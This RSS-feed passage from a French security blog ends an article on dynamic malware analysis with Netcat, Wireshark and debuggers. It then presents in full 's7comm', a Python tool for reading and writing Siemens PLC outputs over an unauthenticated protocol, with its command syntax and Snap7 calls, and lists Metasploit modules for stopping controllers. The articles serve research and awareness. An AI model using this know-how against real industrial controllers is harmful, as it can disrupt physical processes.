<li style="text-align: justify;"><i>Netcat</i> permet le scan de port, <i>tunneling</i>, <i>proxying</i>, transfert de ports et bien d’autres choses sur des connections aussi bien entrantes que sortantes. Il existe deux modes de fonctionnement pour <i>Netcat</i>, le mode écoute, pour lequel <i>Netcat</i> agit comme un serveur, et le mode connexion pour lequel il agit comme un client.</li>
</ul>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;"><u>Remarque :</u> les <i>malwares</i> utilisent souvent les ports 80 et 443 (HTTP et HTTPS respectivement) car ces ports ne sont généralement pas bloqués par les différents équipements de sécurité sur le réseau des entreprises (firewall, proxy, etc.).</div>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;"><u>Remarque 2 :</u> certains <i>malwares</i> simulent des connexions usuelles afin de cacher leur comportement et tirer parti d’une méconnaissance de nombreux analystes réseau qui ne se concentrent que sur le début d’une session. Par exemple, en figure 5 le <i>reverse shell RShell</i> est instancié avec une redirection du domaine <i>www.google.com</i> vers l’hôte local 127.0.0.1 à l’aide d’<i>ApateDNS</i>. L’analyste écoute ensuite le trafic réseau sur le port 80 local avec <i>Netcat</i>.</div>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;">Dans ce résultat, <i>RShell</i> simule une requête POST à <i>www.google.com</i> (comme le montre le point 2 sur la figure) mais par la suite, l’analyste récupère bien un <i>shell</i> (visible sur le point 3).</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<figure id="post-15782 media-15782" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15782 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6.jpg" alt="" width="605" height="344" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6-336x191.jpg 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6-69x39.jpg 69w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 5 : Résultat renvoyé par Netcat lors de l’exécution de RShell en redirigeant les requêtes vers l’hôte grâce à ApateDNS</i></p>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;"><i>Wireshark</i> permet la capture de paquets et de création de logs pour le trafic réseau. Il permet la visualisation, l’analyse de trames et l’analyse en détail de paquets individuels.</li>
</ul>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<figure id="post-15784 media-15784" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15784 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7.png" alt="" width="566" height="398" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7.png 566w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7-272x191.png 272w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7-55x39.png 55w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>
<p><i>Figure 6 : Capture d’écran d’une analyse Wireshark</i></p>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;">Une des fonctionnalités très utiles de <i>Wireshark</i> est la fonctionnalité <i>Follow TCP stream</i> qui permet à partir d’un paquet de reconstituer le flot entier auquel il appartient.</div>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div>
<figure id="post-15786 media-15786" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15786 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8.jpg" alt="" width="605" height="373" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8-310x191.jpg 310w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8-63x39.jpg 63w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
</div>
<div style="text-align: center;">Figure 7 : Fonctionnalité <i>Follow TCP Stream</i> de <i>Wireshark</i></div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;"><i>Wireshark</i> peut permettre à l’analyste de comprendre comment le <i>malware</i> réalise ses communications réseau.</div>
</div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">3)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse via débogueur</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Étape la plus complexe de l’analyse, l’analyse dynamique avancée correspond au passage de l’exécutable dans un débogueur afin de déterminer les actions qu’il effectue les unes après les autres, ainsi que les différents états qu’il génère sur le poste analysé. Il existe plusieurs débogueurs utilisables pour cette étape, notamment <i>IDA Pro</i>, <i>OllyDbg</i> et <i>WinDbg</i>.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Cette étape est extrêmement efficace mais nécessite de nombreuses connaissances et beaucoup de temps. Dans cette partie sera présenté un aperçu de ce qu’il est possible de faire avec un débogueur. Il est important de retenir que l’analyse dynamique révèle ce que le <i>malware</i> fait véritablement, contrairement à l’analyse statique qui montre ce que le <i>malware</i> est en théorie capable de faire. Certains bouts de code présents dans le <i>malware</i> peuvent en effet ne jamais être appelés, et les repérer durant l’analyse statique peut induire en erreur l’analyste sur l’action du <i>malware</i>.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’utilisation d’un débogueur permet également d’obtenir des informations impossibles à récupérer avec un désassemblage, comme par exemple les valeurs prises par les registres au fur et à mesure de l’exécution.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il existe en fait deux types de débogueurs, ceux dits <i>source-level</i> qui sont généralement intégrés dans les <i>IDE</i> et bien connus des développeurs, leur permettant d’agir sur le code source afin de déterminer les comportements étranges de leurs programmes, et ceux dits <i>assembly-level</i> ou <i>low-level</i> qui agissent sur le code assembleur. C’est ce deuxième type de débogueur qui est utilisé par les analystes de <i>malware</i>, étant donné qu’ils n’ont pas accès au code source de l’application.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">De même il existe deux niveaux de débogage, celui en mode utilisateur, où le débogueur est lancé sur le même système d’exploitation que le programme en cours d’exécution, et celui plus complexe en mode noyau, qui permet de déboguer des applications ayant ce niveau d’interactions, mais qui nécessite deux machines reliées, l’une faisant tourner le programme, et l’autre permettant le débogage. Une deuxième machine est en effet nécessaire car il n’existe qu’un noyau par système d’exploitation, et si un <i>breakpoint</i> est mis sur une instruction exécutée par ce noyau, plus aucune application ne pourra répondre, le débogueur compris.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Dans les deux cas d’exécution, le résultat sera la mise en suspens du programme. Dans le premier cas le programme sera stoppé dès le point d’entrée (sauf configuration particulière) alors que dans le deuxième il sera arrêté là où il se trouvait. Une fois cela effectué, il est possible d’agir de différentes manières sur le programme :</div>
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Avancer d’une instruction (<i>single-stepping</i>) : cette action est généralement utilisée uniquement sur les passages identifiés comme importants afin d’obtenir des détails sur le fonctionnement comme les valeurs prises par les registres.</li>
<li style="text-align: justify;">Avancer d’une fonction (<i>Stepping-over</i>) : cela peut permettre de passer des détails inutiles. Par exemple si le programme appelle la fonction <i>LoadLibrary</i>, il n’est pas nécessaire de rentrer dans les détails de cette fonction.<span style="font: 7pt 'Times New Roman';"> </span></li>
<li style="text-align: justify;">Rentrer dans une fonction (<i>Stepping-into</i>) : en opposition à l’action précédente, il peut parfois être intéressant de rentrer dans une fonction pour en comprendre les détails.</li>
<li style="text-align: justify;">Avancer jusqu’au prochain <i>breakpoint</i> : pour cela il faut souvent placer un <i>breakpoint</i> plus loin dans le code et relancer l’exécution, le débogueur s’arrêtera automatiquement au <i>breakpoint</i>.</li>
<li style="text-align: justify;">Modifier l’exécution d’un programme : par exemple pour éviter l’appel à une fonction, il est possible de mettre un <i>breakpoint</i> sur cette fonction et, lorsque l’interruption est levée, changer le pointeur d’instruction à après son appel.</li>
</ul>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il existe trois types de <i>breakpoints</i> :</div>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>software breakpoints</i> : ces points d’arrêt sont utilisés pour faire en sorte que le programme s’arrête lorsque l’instruction sur laquelle ils sont placés est appelée. Pour réaliser cela, le débogueur remplace le premier octet de l’instruction par <i>0xCC</i>, l’instruction pour INT3.</li>
</ul>
<div style="text-align: center;">
<figure id="post-15788 media-15788" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15788 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9.png" alt="" width="512" height="111" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9.png 512w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9-437x95.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9-71x15.png 71w" sizes="auto, (max-width: 512px) 100vw, 512px" /></figure>
</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Figure 8 : Remplacement du premier octet de l’instruction par 0xCC lors d’un <i>software breakpoint</i>.</p>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>hardware breakpoints</i> : ils sont placés sur une adresse mémoire, et déclenchés lorsque le programme tente d’accéder à cette ressource. L’avantage est qu’ils ne dépendent pas de la valeur présente dans cette adresse mémoire, et qu’ils interviennent à l’accès et non à l’exécution. Néanmoins ils nécessitent des registres particuliers qui sont en nombre limités sur un système.</li>
</ul>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>conditional breakpoints</i> : ce sont des <i>software breakpoints</i> qui ne vont déclencher l’arrêt que si une certaine condition est vérifiée. Cela peut par exemple être utile si l’on veut s’arrêter à l’appel d’une fonction que si un certain paramètre est appelé.</li>
</ul>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Ces différentes techniques d’analyse dynamique viennent en complément d’une analyse statique.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il convient néanmoins de prendre toutes les précautions nécessaires avant de se lancer dans une analyse de malware. Chaque résultat obtenu par les analystes doit être contrevérifié pour s’assurer qu’aucune technique anti-reverse n’est mise en œuvre dans le binaire.</div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/06/reverse-engineering-focus-sur-lanalyse/">Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</title>
		<link>https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/</link>
		
		<dc:creator><![CDATA[Alexandrine Torrents]]></dc:creator>
		<pubDate>Wed, 25 May 2016 13:43:46 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[automatisation]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[programmable]]></category>
		<category><![CDATA[s7comm]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15506</guid>

					<description><![CDATA[<p>La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique » à l’aide d’instructions provenant du monde « logique » et pilotent...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15913 media-15913" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15913" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg" alt="" width="320" height="213" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-287x191.jpg 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<p>La sécurité des <span class="Miseenvaleur" style="color: #00477f;"><b>Systèmes d’Informations Industriels (SII)</b></span> est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une <span class="Miseenvaleur" style="color: #00477f;"><b>action directe dans le monde « physique »</b></span> à l’aide d’instructions provenant du <span class="Miseenvaleur" style="color: #00477f;"><b>monde « logique »</b></span> et pilotent les <span class="Miseenvaleur" style="color: #00477f;"><b>outils de production</b></span> de nombreuses entreprises.</p>
<p>Du fait du <span class="Miseenvaleur" style="color: #00477f;"><b>manque de sécurité </b></span>de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est <span class="Miseenvaleur" style="color: #00477f;"><b><b><b>l&#8217;attaque du réseau électrique de l&#8217;Ukraine en décembre dernier [1]</b></b></b></span>. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.</p>
<p>Le plus bas niveau des SI industriels est le <span class="Miseenvaleur" style="color: #00477f;"><b><b>réseau de production</b></b></span>. Les <span class="Miseenvaleur" style="color: #00477f;"><b>capteurs et les actionneurs</b></span> sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus, S7comm, DNP3, Profibus, Hart</b></span>… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir <span class="Miseenvaleur" style="color: #00477f;"><b><b>l’authentification et le chiffrement des flux</b></b></span>. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.<br />
<span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span>, protocole de <span class="Miseenvaleur" style="color: #00477f;"><b>Schneider Electric</b></span> publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :</p>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l2 level1 lfo6; tab-stops: 35.4pt; text-indent: -18pt;">
<ul>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modbusclient</i><span style="text-indent: -18pt;"> [2], permettant de lire et d&#8217;écrire sur les coils / registres de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_command</i><span style="text-indent: -18pt;"> [3], permettant d&#8217;arrêter / démarrer l&#8217;automate à distance</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_stux_transfer </i><span style="text-indent: -18pt;">[4], permettant de récupérer / télécharger le code de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le script perl </span><i style="text-indent: -18pt;">mbtget</i><span style="text-indent: -18pt;"> [5], permettant de lire et d&#8217;écrire sur les coils / registres de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">La librairie python </span><i style="text-indent: -18pt;">Pymodbus</i><span style="text-indent: -18pt;"> [6], permettant de communiquer avec des automates Schneider</span></li>
</ul>
</div>
<div class="MsoNormal">En revanche, le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>S7 Communication (S7comm) </b></span>est quant à lui nettement moins fourni en outils,  bien qu&#8217;utilisé par tous les automates <span class="Miseenvaleur" style="color: #00477f;"><b>Siemens</b></span>.<br />
Il existe cependant la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap7</b></span> [7] ainsi qu&#8217;un wrapper Python utilisant ce protocole.</div>
<div class="MsoNormal">Nous nous sommes ainsi lancés dans le <span class="Miseenvaleur" style="color: #00477f;"><b>développement d&#8217;un nouveau script baptisé « s7comm »</b></span>, permettant facilement de dialoguer avec les automates Siemens.</div>
<div class="MsoNormal"></div>
<div class="MsoNormal" style="break-after: avoid; page-break-after: avoid;"><span class="Miseenvaleur" style="color: #00477f;"><b>Présentation de s7comm </b></span>s7comm [8] est un <span class="Miseenvaleur" style="color: #00477f;"><b>script python</b></span> utilisant la librairie Snap7 permettant de <span class="Miseenvaleur" style="color: #00477f;"><b>lire et écrire sur les sorties des automates Siemens</b></span>.</div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>différents arguments </b></span>sont directement spécifiés en ligne de commande, exactement comme pour le script <span class="Miseenvaleur" style="color: #00477f;"><b>mbtget</b></span> pour le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span> :</div>
<div></div>
<div style="background: #dce5ec; border: 1pt solid #308987; margin-left: 42.55pt; margin-right: 0cm; padding: 1pt 4pt;">
<div class="LignedecommandeCxSpFirst" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"><span lang="EN-US">$ python<br />
s7comm.py -a address -m mode -n number -d data ip_address</span><b></b></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-a     Adresse à partir de laquelle les<br />
données vont être lues / écrites</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-m [r|w]     Choix du mode de<br />
fonctionnement : lecture ou écriture sur l&#8217;automate</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-n     Nombre de données à lire /<br />
écrire</div>
<div class="LignedecommandeCxSpLast" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-d     Données en bit à écrire (exemple<br />
0110)<span style="font-size: 11pt;"> </span></div>
</div>
<div></div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>deux principales </b></span>fonctions utilisées de la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap 7 </b></span>sont les suivantes :</div>
<div class="MsoNormal"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">             s7.read_area(snap7.types.areas[&#8216;PA&#8217;], 0, start, size)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet de <span class="Miseenvaleur" style="color: #00477f;"><b>lire des données sur les sorties de l&#8217;automate</b></span> en utilisant le protocole S7comm.<br />
Elle admet quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type</b></span> de données : dans ce cas, il s&#8217;agit des <span class="Miseenvaleur" style="color: #00477f;"><b>sorties numériques </b></span>(« tout ou rien », tor)<span class="Miseenvaleur" style="color: #00477f;"><b> de l&#8217;automate</b></span>.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&#8217;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&#8217;offset </b></span>: il s&#8217;agit du premier byte lu.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">4.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Le <span class="Miseenvaleur" style="color: #00477f;"><b>nombre</b></span> de bytes à lire.</div>
<div></div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">s7.write_area(snap7.types.areas[&#8216;PA&#8217;], 0, start, data)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet <span class="Miseenvaleur" style="color: #00477f;"><b>d&#8217;écrire des données sur les sorties de l&#8217;automate</b></span>.</div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Elle a quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type de données </b></span>: dans ce cas, il s&#8217;agit des sorties numériques de l&#8217;automate.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&#8217;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&#8217;offset </b></span>: il s&#8217;agit du premier byte sur lequel on va écrire.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->4. Les <span class="Miseenvaleur" style="color: #00477f;"><b>données</b></span> à écrire sous forme de bytearray.</div>
<div></div>
<div class="MsoNormal">Chaque sortie de l&#8217;automate a une <span class="Miseenvaleur" style="color: #00477f;"><b>valeur sur un bit</b></span>. <span class="Miseenvaleur" style="color: #00477f;"><b>Huit sorties</b></span> peuvent donc être écrites sur un byte. Plusieurs opérations doivent donc être réalisées <span class="Miseenvaleur" style="color: #00477f;"><b>avant d&#8217;envoyer la commande</b></span> puisque les arguments <span style="font-family: 'courier new';">&#8220;address&#8221;</span> et <span style="font-family: 'courier new';">&#8220;number&#8221;</span> donnés en ligne de commande font référence à des bits. Notamment, si le premier bit à lire n&#8217;est pas le premier bit du byte, il y a un offset à prendre en compte.</div>
<div class="MsoNormal">Pour finir, voici deux exemples d&#8217;utilisation :</div>
<div></div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Lecture de 8 bits à partir de l&#8217;adresse 0 :</div>
<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15922 media-15922" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15922 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png" alt="" width="320" height="135" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">2.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Écriture de la valeur 1 sur 8 bits à partir de l&#8217;adresse 0</div>
<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15924 media-15924" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15924 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png" alt="" width="320" height="25" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-71x6.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="MsoNormal"><b><span style="color: #00477f;">Conclusion</span></b></div>
<div class="MsoNormal">À travers la publication de <span class="Miseenvaleur" style="color: #00477f;"><b>l’outil s7comm</b></span>  comme de cet article, nous souhaitons rappeler la relative facilité à communiquer avec des <span class="Miseenvaleur" style="color: #00477f;"><b>automates industriels</b></span>.<br />
Un attaquant, une fois arrivé sur le SI industriel, peut directement <span class="Miseenvaleur" style="color: #00477f;"><b>perturber le procédé industriel</b></span>. Vos commentaires et contributions sont les bienvenus afin de fiabiliser et d’améliorer cet outil.<b></b></div>
<div></div>
<div></div>
<div class="MsoNormal" style="break-after: avoid; line-height: 11.5pt; page-break-after: avoid; text-autospace: none; vertical-align: middle;"><span style="color: #9c9d9e;">Sources :</span></div>
<div class="Tableau">[1] <a href="https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid">https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid</a></div>
<div class="Tableau">[2] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb</a></div>
<div class="Tableau">[3] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb</a></div>
<div class="Tableau">[4] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb</a></div>
<div class="Tableau">[5] <a href="https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget">https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget</a></div>
<div class="Tableau">[6] <a href="https://github.com/bashwork/pymodbus">https://github.com/bashwork/pymodbus</a></div>
<div class="Tableau">[7] <span class="MsoHyperlink"><a href="http://python-snap7.readthedocs.org/en/latest/installation.html">http://python-snap7.readthedocs.org/en/latest/installation.html</a></span></div>
<div class="Tableau">[8] <a href="https://github.com/alexandrinetorrents/s7comm">https://github.com/alexandrinetorrents/s7comm</a></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Le fardeau du pentesteur</title>
		<link>https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
